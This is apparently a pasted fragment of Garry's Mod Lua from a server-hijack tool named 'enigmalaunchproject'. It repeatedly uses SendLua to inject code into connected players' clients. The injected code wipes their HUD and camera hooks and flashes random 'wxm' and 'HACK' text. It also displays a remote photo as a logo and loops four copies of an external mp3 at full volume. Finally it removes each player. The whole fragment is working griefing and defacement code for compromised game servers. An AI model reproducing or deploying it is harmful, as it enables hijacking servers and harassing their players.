  881. enigmalaunchproject:SendLua( pPlayer, [[
  882.  
  883. (GAMEMODE or GM).CalcView = function() end
  884. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  885.  
  886. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  887. for k, v in pairs(remove) do
  888. hook.GetTable()[v] = {}
  889. end
  890.  
  891. local function GetWebMat( strURL )
  892. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  893. end
  894.  
  895. hook.Add( "HUDPaint", "hud7enigma", function()
  896. surface.SetDrawColor( 255, 255, 255, 255 )
  897.  
  898. draw.SimpleTextOutlined(
  899. "wxm",
  900. "DermaLarge",
  901. ScrW() /2 +math.random( -700, 700 ),
  902. ScrH() /2 +math.random( -700, 700 ) +300,
  903. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  904. TEXT_ALIGN_CENTER,
  905. TEXT_ALIGN_CENTER,
  906. 1,
  907. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  908. )
  909. end )
  910. ]] )
  911. end )
  912.  
  913. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  914. enigmalaunchproject:SendLua( pPlayer, [[
  915.  
  916. (GAMEMODE or GM).CalcView = function() end
  917. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  918.  
  919. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  920. for k, v in pairs(remove) do
  921. hook.GetTable()[v] = {}
  922. end
  923.  
  924. local function GetWebMat( strURL )
  925. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  926. end
  927.  
  928. hook.Add( "HUDPaint", "hud10enigma", function()
  929. surface.SetDrawColor( 255, 255, 255, 255 )
  930.  
  931. draw.SimpleTextOutlined(
  932. "wxm",
  933. "DermaLarge",
  934. ScrW() /2 +math.random( -800, 800 ),
  935. ScrH() /2 +math.random( -800, 800 ) -400,
  936. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  937. TEXT_ALIGN_CENTER,
  938. TEXT_ALIGN_CENTER,
  939. 1,
  940. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  941. )
  942. end )
  943. ]] )
  944. end )
  945.  
  946. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  947. enigmalaunchproject:SendLua( pPlayer, [[
  948.  
  949. (GAMEMODE or GM).CalcView = function() end
  950. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  951.  
  952. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  953. for k, v in pairs(remove) do
  954. hook.GetTable()[v] = {}
  955. end
  956.  
  957. local function GetWebMat( strURL )
  958. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  959. end
  960.  
  961. hook.Add( "HUDPaint", "hud12enigma", function()
  962. surface.SetDrawColor( 255, 255, 255, 255 )
  963.  
  964. draw.SimpleTextOutlined(
  965. "wxm",
  966. "DermaLarge",
  967. ScrW() /2 +math.random( -850, 850 ),
  968. ScrH() /2 +math.random( -850, 850 ) +100,
  969. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  970. TEXT_ALIGN_CENTER,
  971. TEXT_ALIGN_CENTER,
  972. 1,
  973. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  974. )
  975. end )
  976. ]] )
  977. end )
  978.  
  979. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  980. enigmalaunchproject:SendLua( pPlayer, [[
  981.  
  982. (GAMEMODE or GM).CalcView = function() end
  983. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  984.  
  985. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  986. for k, v in pairs(remove) do
  987. hook.GetTable()[v] = {}
  988. end
  989.  
  990. local function GetWebMat( strURL )
  991. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  992. end
  993.  
  994. hook.Add( "HUDPaint", "hud1enigma", function()
  995. surface.SetDrawColor( 255, 255, 255, 255 )
  996.  
  997. draw.SimpleTextOutlined(
  998. "wxm",
  999. "DermaLarge",
  1000. ScrW() /2 +math.random( -300, 600 ),
  1001. ScrH() /2 +math.random( -600, 300 ) +200,
  1002. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1003. TEXT_ALIGN_CENTER,
  1004. TEXT_ALIGN_CENTER,
  1005. 1,
  1006. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1007. )
  1008. end )
  1009. ]] )
  1010. end )
  1011.  
  1012. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1013. enigmalaunchproject:SendLua( pPlayer, [[
  1014.  
  1015. (GAMEMODE or GM).CalcView = function() end
  1016. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1017.  
  1018. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1019. for k, v in pairs(remove) do
  1020. hook.GetTable()[v] = {}
  1021. end
  1022.  
  1023. local function GetWebMat( strURL )
  1024. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1025. end
  1026.  
  1027. hook.Add( "HUDPaint", "hud1enigma", function()
  1028. surface.SetDrawColor( 255, 255, 255, 255 )
  1029.  
  1030. draw.SimpleTextOutlined(
  1031. "wxm",
  1032. "HACK",
  1033. ScrW() /2 +math.random( -300, 600 ),
  1034. ScrH() /2 +math.random( -600, 300 ) +200,
  1035. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1036. TEXT_ALIGN_CENTER,
  1037. TEXT_ALIGN_CENTER,
  1038. 1,
  1039. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1040. )
  1041. end )
  1042. ]] )
  1043. end )
  1044.  
  1045.  
  1046. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1047. enigmalaunchproject:SendLua( pPlayer, ([=[
  1048.  
  1049. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  1050. local html = [[%s]]
  1051. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  1052. local pnl = vgui.Create( "HTML" )
  1053. pnl:SetPos( ScrW() -1, ScrH() -1 )
  1054. pnl:SetVisible( true )
  1055. pnl:SetMouseInputEnabled( false )
  1056. pnl:SetKeyBoardInputEnabled( false )
  1057. pnl:SetSize( intSizeX, intSizeY )
  1058. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  1059.  
  1060. local PageLoaded
  1061. PageLoaded = function()
  1062. local mat = pnl:GetHTMLMaterial()
  1063. if mat then
  1064. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  1065. return
  1066. end
  1067.  
  1068. timer.Simple( 0.5, PageLoaded )
  1069. end
  1070.  
  1071. PageLoaded()
  1072. end
  1073.  
  1074. LoadWebMaterial( "https://upload.wikimedia.org/wikipedia/commons/thumb/e/e3/Emmanuel_Macron_in_Tallinn_Digital_Summit._Welcome_dinner_hosted_by_HE_Donald_Tusk._Handshake_%2836669381364%29_%28cropped_2%29.jpg/220px-Emmanuel_Macron_in_Tallinn_Digital_Summit._Welcome_dinner_hosted_by_HE_Donald_Tusk._Handshake_%2836669381364%29_%28cropped_2%29.jpg", "EnigmaLogo", 1000, 1000 )
  1075. ]=]):format(lol.m_strImageLoadHTML) )
  1076. end )
  1077.  
  1078. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1079. enigmalaunchproject:SendLua( pPlayer, [[
  1080. (GAMEMODE or GM).CalcView = function() end
  1081. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1082.  
  1083. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1084. for k, v in pairs(remove) do
  1085. hook.GetTable()[v] = {}
  1086. end
  1087.  
  1088. local function GetWebMat( strURL )
  1089. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1090. end
  1091.  
  1092. hook.Add( "HUDPaint", "EnigmaLogoHUD", function()
  1093. surface.SetDrawColor( 255, 255, 255, 255 )
  1094.  
  1095. if GetWebMat( "EnigmaLogo" ) then
  1096. surface.SetMaterial( GetWebMat("EnigmaLogo")[1] )
  1097. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  1098. end
  1099. end )
  1100.  
  1101. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  1102. hook.Add( "HUDShouldDraw", "EnigmaLogoHUD", function( str ) if not allowed[str] then return false end end )
  1103.  
  1104. surface.PlaySound( "garrysmod/save_load4.wav" )
  1105. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  1106. ]] )
  1107. end )
  1108.  
  1109. lol:PushAction( 175, function( pPlayer )
  1110. lol:SendLua( pPlayer, [[
  1111. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  1112.  
  1113. local sounds = {}
  1114. for i = 1, 4 do
  1115. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  1116. sounds[#sounds +1] = pChan
  1117. end )
  1118. end
  1119.  
  1120. timer.Create( "asdf", 1, 0, function()
  1121. if #sounds ~= 4 then return end
  1122. timer.Destroy( "asdf" )
  1123. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  1124. end )
  1125.  
  1126. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  1127. ]] )
  1128.  
  1129. pPlayer:Remove()
  1130. end )
Advertisement
Add Comment
Please, Sign In to add comment